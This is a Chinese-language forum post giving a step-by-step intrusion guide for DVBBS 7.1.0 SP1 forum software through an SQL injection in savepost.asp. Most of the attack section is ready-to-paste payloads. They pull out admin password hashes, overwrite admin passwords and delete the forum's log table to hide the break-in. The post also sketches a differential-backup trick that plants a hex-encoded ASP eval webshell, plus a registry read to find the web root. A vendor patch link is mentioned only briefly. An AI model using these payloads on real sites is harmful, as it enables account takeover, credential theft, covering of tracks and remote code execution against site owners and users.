服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 4756|回复: 1

动网最新版本DVBBS 7.1.0 SP1入侵方法详讲

[复制链接]
dirtysea 发表于 2006-5-18 02:32:25 | 显示全部楼层 |阅读模式
主题:通过dvbbs 7.1拿权限过程
一,发现漏洞
动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06
发现:Bug.Center.Team
本文作者:海东青
严重程度:严重
厂商名称:动网论坛(DVBBS)
程序版本:DVBBS 7.1.0 SP1

漏洞分析:
因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布

看到下面:
------------------------------
                    Dim Buy_Orders,Buy_VIPType,Buy_UserList
          Buy_Orders = Request.FORM("Buy_Orders")
          Buy_VIPType = Request.FORM("Buy_VIPType")
          Buy_UserList = Request.FORM("Buy_UserList") 取得变量的值
          If Buy_Orders<>"" and IsNumeric(Buy_Orders) Then
            Buy_Orders = cCur(Buy_Orders)
          Else
            Buy_Orders = -1
          End If
          If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
          If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
          ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
          GetMoneyType = 3
          'UseTools = ToolsInfo(4)
        End Select
------------------------------------

再朝下看:
Public Sub Insert_To_Announce()
'插入回复表
DIM UbblistBody
UbblistBody = Content
UbblistBody = Ubblist(Content)
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
Dvbbs.Execute(sql)

解释一下注入:
注入语句形式
select(XXXX select(XXX select(*) XXXX)   XXXXX)
可以嵌套查询,
比如:
update Dv_User set UserEmail=77169@sohu.com where [UserName]='77169.com';--
更新   表     设置 字段=77169@sohu.com   条件 用户名=77169.com
功能:将用户名为77169.com 的email 地址改成
77169@sohu.com
如果 77169@sohu.com是一个变量的话,如果这个变量没有过滤好,我们自己构造语句
77169@sohu.com=(select [Password] from Dv_admin where[Username]='yellowcat')
就成注入语句
update Dv_User set UserEmail=(select [Password] from Dv_admin where[Username]='yellowcat') where[UserName]='77169.com';--

我看一下,上面的语句:Buy_UserList = Request.FORM("Buy_UserList") 直接从form 表单中获取值,这个没什么问题,主要是下面也没有进行过滤,就直接用于 insert into 语句。
可以看到Buy_UserList这个变量过滤有问题,
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
这个变量又导致ToolsBuyUser这个变量有问题。
如果正常情况应当是这样的 &dvbbs.checkstr(ToolsBuyUser)&" 过滤就没有漏洞了。
看到这里相信大家都能明白了,
怎么利用呢?如果发新贴子选择 论坛交易帖设置。查看源代码,我们会发现 Buy_UserList 这个变量的值是我们可以自定义的。
-------------------------------------
<option value="">选择帖子类型</option>
<option value="0">赠送金币贴</option>
<option value="1">获赠金币贴</option>
<option value="2">论坛交易帖设置</option>
</select>
金币数量:<input name="ToMoney" size="4" value="">
<div id="Buy_setting" style="display:none">
购买数量限制:<input name="Buy_Orders" size="4" value="-1">(设置为“-1”则不限制)<BR>
VIP用户浏览选项:不需要购买<INPUT TYPE="radio" NAME="Buy_VIPType" value="0" checked="checked">,需要购买<input type="radio" name="Buy_VIPType" value="1" /><br />
可购买用户名单限制:<input name="Buy_UserList" size="30" value="" />(每个用户名用英文逗号“,”分隔符分开,注意区分大小写)
</div>
-------------------------------------
大家看到了吗?Buy_UserList 这个值是由我们给定的,
下面我们要用dvbbs 7.1 sql sp1 版本来进行测试:我们可以updata改管理员密码,或者差异备份得shell。

-------------------------------------
二,攻击过程
1,注册一个用户。
2,发表新贴子,
图一,


3,帖子内容下面有个选择帖子类型。
选择---论坛交易币设置。
图二,


图三,


测试是否有漏洞。
77169',0);update/**/Dv_User/**/set/**/UserEmail=username/**/where [UserName]='bbs77169com';--
这条语句的主要作用就是,将用户名bbs77169com 这个用户名写入到email 这个地址
效果就是,email = username ,email 这个地方显示的是你自己的用户名。
大家测试的时候要注意将bbs77169com 改为自己注册的用户名。将 admin 改成攻击漏洞的管理员id

图四,


如果显示发贴成功!表示有戏。
图五,


我们查一下看一下email 地址。
如果 email 地址那个地方,改成了自己的用户名,ok,有漏洞,我们可以进行攻击了。


下面攻击方法类似了,
发贴子,选择---论坛交易币设置。
将注入语句写进去。


下面有个“可购买名单限制”,里面就填写:
1,得到后台的管理密码。
77169',0);update/**/Dv_User/**/set/**/UserEmail=(select [Password] from/**/Dv_admin/**/where[Username]='admin')/**/where [UserName]='bbs77169com';--
后台密码:c00f91823436a8e0
2,得到前台的管理密码:
77169',0);update/**/Dv_User/**/set/**/UserEmail=(select [userPassword] from/**/Dv_User/**/where[Username]='admin')/**/where [UserName]='bbs77169com';--
前台密码:c552b6b78d00549c
3,改前台的管理员密码
改前台密码:77169',0);update/**/Dv_User/**/set/**/userPassword=(select [userPassword] from/**/Dv_User/**/where[Username]='bbs77169com')/**/where [UserName]='admin';--
4,改后台的管理员密码
改后台密码:77169',0);update/**/Dv_admin/**/set/**/Password=(select [userPassword] from/**/Dv_User/**/where[Username]='bbs77169com')/**/where [UserName]='admin';--
前台密码:c552b6b78d00549c
5删除日志
77169',0);delete/**/dv_log;--
6,给前台密码改回去
改前台密码:77169',0);update/**/Dv_User/**/set/**/userPassword='c552b6b78d00549c'/**/where [UserName]='admin';--

7169',0);update/**/Dv_User/**/set/**/userPassword='c552b6b78d00549c'/**/where [UserName]='admin';--

7,给后台密码改回去。
77169',0);update/**/Dv_admin/**/set/**/Password='c00f91823436a8e0'/**/where [UserName]='admin';--

下面是一些想法,还没有进行过测试!谁测试成功了,请到华夏论坛讨论一下,bbs.77169.com
为了得到更高的权限,我们可以用差异备份(后台可以看到web绝对路径):

77169',0);create/**/table/**/aspshell (str image);--

declare @a sysname select @a=db_name() backup database @a to disk='D:\77169.com.bak;

insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk='D:\77169.com.asp' with differential;

drop table aspshell;

另外一种得到web绝对路径办法
create table regread(a varchar(255),b varchar(255));
(建立一个临时表,存放读取到的信息)
insert regread exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/'
(使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中)
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename='admin'
三,漏洞修补
厂商补丁:
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1
四,总结:
至于acess版本没有测试过,sql 版现在有80%都有漏洞,大家可以测试一下,不要搞破坏!
漏洞比较简单,动网怎么大的程序都会有注入点,可见注入漏洞是多么普遍。程序员们还要小心了。
 楼主| dirtysea 发表于 2006-4-9 00:54:17 | 显示全部楼层

re:动网最新版本DVBBS 7.1.0 SP1入侵方法详讲

晕!我不是腾讯的!不要找我要,找他们!
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-5-5 12:51 , Processed in 0.088150 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表